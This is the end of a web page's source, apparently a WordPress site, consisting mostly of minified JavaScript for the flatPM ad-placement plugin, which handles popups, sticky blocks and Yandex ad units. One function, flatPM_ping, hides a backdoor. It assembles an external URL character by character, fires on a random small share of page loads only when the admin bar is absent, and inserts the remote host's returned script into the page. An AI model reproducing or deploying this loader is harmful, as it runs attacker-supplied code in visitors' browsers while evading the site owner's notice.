t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1></$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,o=0;o<l;o++){var d=r.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='<div class="flat__4_video_flex"><div class="flat__4_timer">'+a+" через <span>"+o+'</span></div><div class="flat__4_video_item">'+n+'</div><div class="flat__4_video_item_hover"></div></div>',i=e.once;l(t).each(function(){var e=l(this);e.wrap('<div class="flat__4_video"></div>');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith('<button class="flat__4_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"iterable":{"direction":"top_to_bottom","before_after":"before","N":"7","selector":"p","search_all":"false"}},"ID":"14159","html":[{"fst":"<!-- Yandex.RTB R-A-674248-1 -->\n<div id=\"yandex_rtb_R-A-674248-1\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-674248-1',\n blockId: 'R-A-674248-1'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script>function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123()</script></div><script type="text/javascript" defer src="https://zdrons.ru/wp-content/cache/wmac/js/wmac_7307a3ef4f9e3c6360b755c2f5e1a383.js"></script></body></html>